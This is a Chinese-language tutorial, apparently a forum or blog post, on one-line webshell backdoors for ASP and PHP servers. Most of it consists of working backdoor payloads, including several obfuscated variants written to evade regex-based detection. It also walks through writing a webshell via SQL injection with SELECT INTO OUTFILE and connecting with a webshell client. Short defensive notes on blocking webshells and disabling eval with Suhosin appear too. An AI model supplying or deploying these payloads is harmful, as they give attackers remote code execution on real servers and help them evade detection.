一句話******原理
<%execute request(“#”)%>是典型的一句話***服務端代碼,將這個代碼寫入asp文件,就成了一句話***服務端文件。
仔細觀察一下<%execute request(“#”)%>這句代碼,括號裏的“#”是我們一句話的密碼,我們可以把它改成任意字符,這樣可以避免別人發現我們的一句話***後,輕鬆的通過它撿個大便宜,如果我們上傳的一句話代碼爲<%execute request(“123456″)%>。那麼在客戶端連接文件裏要將textarea name=”#”將其改爲對應的textarea name=“123456”,才能連接成功。
一句話***工作的原理:
將一句話***插入到asp文件中(包括asa.cdx.cer文件),該語句將會作爲觸發,接收***者通過客戶端提交的數據,執行並完成相應的***操作。
客戶端則用來向服務端提交控制數據,提交的數據通過服務端構成完整的asp功能語句並執行,也就是生成我們所需要的asp***文件。
一句話***能連接成功有兩個前提條件:
一、服務器端沒有禁止Adodb.Stream組件,因爲我們使用一句話***寫入WebShell代碼的條件是服務器端創建Adodb.Stream組件,如果該組件被禁用的話無法寫入。
二、權限問題,如果當前的虛擬目錄禁止user組或者everyone寫入,同樣不會成功。
如何啓用“一句話”***攔截功能?
(1)在服務器 wzxStopKeyWord.ini 文件中,設置 blockmuma = 1 表示啓用此功能,攔截“一句話”***。
(2)重啓IIS即可生效。
一.eval
eval用法:
eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
1 <?phpeval($_POST[password]);?>
二.assert
Assert用法:
assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;
這跟eval()類似。不過eval($code_str)只是執行符合php編碼規範的,assert的用法卻更詳細一點 。
assert_option()可以用來對assert()進行一些約束和控制
默認值:
1 2 3 4 5 ASSERT_ACTIVE=1//Assert函數的開關 ASSERT_WARNING=1//當表達式爲false時,是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止運行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否關閉錯誤提示,在執行表達式時;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否啓動回調函數 user function to call on failed assertions
可以通過以上方法修改assert後門,達到繞過正則:
1 <?phpassert($_POST[password]);?>
三.變形一句話:
1 <?php$_GET['xxoo']($_POST['cmd']);?>
客戶端用菜刀,密碼cmd,url爲test.php?xxoo=assert
1 <?php$_POST['xxoo']($_POST['cmd']);?>
這個是直接發post數據包就OK。
1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>
1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>
利用方法:http://localhost/password.php?password=asstrt
原理就是get傳遞參數assert然後形成@asserT@($_($_POST[xxoo])
1 <?php$_POST['password']($_POST['cmd']);?
提交post內容形成assert,eval。
四.通過str_replace替換
$a = str_replace(x,””,”axsxxsxexrxxt”)
最後要形成的是$a = assert
五.
1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>
談談這個後門吧,這個是用e修飾符,只需要e所在的位置跟最後的”error”正則匹配正確就會$_POST[‘h’]的內容。
那麼我們只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,讓h參數執行。
六.
1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀裏寫:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密碼:xxoo
原理分析你只需要讓$_拼接打印即可。
七.
1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>
‘@’.str_rot13(‘riny’)相當於@eval,然後你懂的。
其實大都數原理都是如此,加了變形,解析後依然是原裝語句eval,assert。
在這裏順便講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:
SELECT * INTO OUTFILE 'C:\log1.txt'
這樣就可以把查詢到的數據寫入到C盤的log1.txt這個文件裏面。利用這個原理我們可以把PHP的一句話***寫到磁盤上從而拿到webshell。
本地的目標站點來實戰一下,我們的目的是在目標的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去
先簡單的判斷是否存在注入漏洞利用, 使用單引號'報錯, 然後是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現在猜測一下字段數量。
在order by 3的時候會出現錯誤,2的時候正確於是猜測字段2,現在我們通過union查詢語句查詢一下當前的用戶是誰。
猜測可能是file權限,試試寫一下***到網站路徑,***一定要寫16進制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>的16進制
然後菜刀連接即可成功(如有不懂可以聯繫本人,本人將會將最詳細的指導你,僅限妹子)
eval函數簡介與PHP一句話***剖析
一:eval函數
1.eval() 函數把字符串按照 PHP 代碼來計算。
2.該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
3.如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
二:eval函數的一般用法
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
輸出
This is a $string $time morning!
This is a beautiful winter morning!
三:eval函數的特殊用法
eval($_GET["cmd"]);
四:php一句話掛馬的原理
1.通過數據庫寫馬:
select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不過這個命令是DB和web在同一臺機器的時候可以這樣執行
2.通過web寫馬
<?php
eval($_GET["cmd"]);
?>
訪問:
http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();
查看當前運行的服務
http://localhost/aa.php?cmd=system("net start");
五:禁用eval函數
無論是linux服務器還是windows服務器,eval命令是非常危險的
如何禁用eval命令
在php.ini中這樣設置disable_functions =eval是無法禁用eval的,根據php手冊說明,eval是一個語言構造器而不是一個函數。如果要禁用eval,則需要第三方擴展,使用Suhosin
linux下安裝:
php的安裝就不寫了
suhosin的安裝
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvf suhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //這一步不能省
./configure --with-php-config=/usr/local/php/bin/php-config //必須在這兒註明php-config所在的絕對路徑。
make && make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然後在php.ini中增加一行下列語句。
extension=suhosin.so
suhosin.executor.disable_eval = on
像以上的一句話***都是比較常見的類型,希望各位補充,也方便大家互相學習互相進步,共同在網絡上實現自己的夢想